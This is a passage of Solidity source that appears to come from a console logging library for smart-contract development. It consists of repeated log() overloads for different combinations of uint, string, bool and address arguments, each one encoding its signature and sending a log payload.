_sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2));
}
function log(string memory p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2));
}
function log(string memory p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2));
}
function log(string memory p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2));
}
function log(string memory p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2));
}
function log(string memory p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2));
}
function log(string memory p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2));
}
function log(string memory p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2));
}
function log(string memory p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2));
}
function log(string memory p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2));
}
function log(string memory p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2));
}
function log(string memory p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2));
}
function log(bool p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2));
}
function log(bool p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2));
}
function log(bool p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2));
}
function log(bool p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2));
}
function log(bool p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2));
}
function log(bool p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2));
}
function log(bool p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2));
}
function log(bool p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2));
}
function log(bool p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2));
}
function log(bool p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2));
}
function log(bool p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2));
}
function log(bool p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2));
}
function log(bool p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2));
}
function log(bool p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2));
}
function log(bool p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2));
}
function log(bool p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2));
}
function log(address p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2));
}
function log(address p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2));
}
function log(address p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2));
}
function log(address p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2));
}
function log(address p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2));
}
function log(address p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2));
}
function log(address p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2));
}
function log(address p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2));
}
function log(address p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2));
}
function log(address p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2));
}
function log(address p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2));
}
function log(address p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2));
}
function log(address p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2));
}
function log(address p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2));
}
function log(address p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2));
}
function log(address p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2));
}
function log(uint p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3));
}
